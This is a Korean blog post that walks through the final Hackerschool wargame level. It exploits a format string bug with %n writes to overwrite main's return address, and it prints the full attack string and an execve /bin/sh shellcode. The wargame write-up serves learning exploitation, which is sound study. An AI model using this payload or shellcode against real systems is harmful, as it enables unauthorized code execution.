본문 바로가기

My Study/Exploit

Hackerschool level20

드디어 마지막 문제입니다.

습관대로 해당 프로그램을 gdb로 열어보겠습니다.


에고 이전 문제와 달리 해당 프로그램에 대한 심볼 정보를 없애버린거 같군요. 직접 주소를 쳐서 어셈블리를 보면 되지만 귀찮은 관계로 바로 hint를 보겠습니다.

흐음.. 소스코드를 보니 BOF취약한 부분이 없는거 같네요.
하지만
printf(bleh)를 보니 FSB(Format String Bug)가 존재합니다.
그러면 렙 19번까지 푼 방법이 아닌 다른 방법으로 풀어야 겠습니다.

이번 핵심 공격 방법은 포멧스트링 이라는 공격 방법!!

포멧스트링에 관한 내용은 너무 길어서 여기에 쓰기는 그렇고
제가 보고 공부했던 사이트 링크를 걸어두겠습니다.
http://proneer.tistory.com/entry/FormatString-%ED%8F%AC%EB%A7%B7%EC%8A%A4%ED%8A%B8%EB%A7%81Format-String-Attack
위 링크로 가셔서 포멧스트링에 대한 공부를 하시면 이번 문제는 충분히 풀수있습니다.

포멧스트링 공격 기법을 안다는 전제하에 전 공격에 들어가보겠습니다. 먼저 해당 코드가 어떻게 되는지부터 분석을 해봐야합니다. 어셈블리언어로 봐보겠습니다.

objdump로 해당 프로그램을 연 다음 main함수 같이 생긴놈을 잡은 것입니다. 그러면 gdb로 가서 저 주소를 입력하겠습니다.

메인 함수를 제대로 찾은 것 같습니다. 이제 printf함수가 호출되는 시점을 스택으로 봐보겠습니다.

printf함수를 호출하기 전에 12Byte의 공간을 또 놔두더군요. 이제 그림은 나왔으니 공격을 하기위해 주소값을 전부 찾도록 하겠습니다. 우리의 목표는 main함수의 ret값을 쉘코드가 있는 주소로 바꾸면 성공하게 되는 것입니다.
그러면  buf에 들어갈 문자열은 무엇일까요??

%n 서식문자를 사용해 ret부분에 새로운 주소를 덮어쓸 것입니다.(버퍼를 오버플로우 시키는 방법이 아닙니다.)
2Byte씩 나눠서 주소를 저장하는 이유는 보통 스택 주소가
0xbffff 이렇게 시작하는데 해당 주소를 10진수로 바꾸면 입력 값 범위를 넘어버리기 때문입니다.
그리고 그 아래에 쉘코드를 넣어주는 것입니다. 그러면
여기서 알아야할 주소값은 두 군데 입니다.
쉘코드가 시작되는 주소와 리턴값이 들어가 있는 주소입니다.
간단하게 gdb를 사용해 찾으시면 됩니다.
찾으셨다는 전제하에 스택에 주소까지 표현해서 다시 그려보겠습니다.

주소는 제대로 찾았습니다. 이제
공격할 문자열을 적어보겠습니다.

< %n으로 쉘코드 있는 주소를 넣을 때 필요한 정보 >
0xfacc = 64204
64204 - 53 = 64151
0x1bfff - 0xfacc = 50483


< 실제 공격 문자열 >
"\x1c\xfb\xff\xbfAAAA\x1e\xfb\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80%8x%8x%64151c%n%50483c%n"


< 사용한 쉘코드 >
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80


위 쉘코드는 level11에서도 사용한 쉘코드 입니다.

위 공격코드를 전부 이해 하셨다면 FSB에 대해 이해하신것입니다.

이제 공격을 들어가보겠습니다.

와우~ 성공입니다. ^^ 해커스쿨 정복!!

'My Study > Exploit' 카테고리의 다른 글

Hackerschool level19 쉘코드 줄이기, 환경변수 사용하지 않기  (0) 2010.04.26
RTL로 푼 해커스쿨 level11  (4) 2010.04.07
Hackerschool level19  (2) 2010.03.27
Hackerschool level18  (0) 2010.03.24
Hackerschool level17  (0) 2010.03.23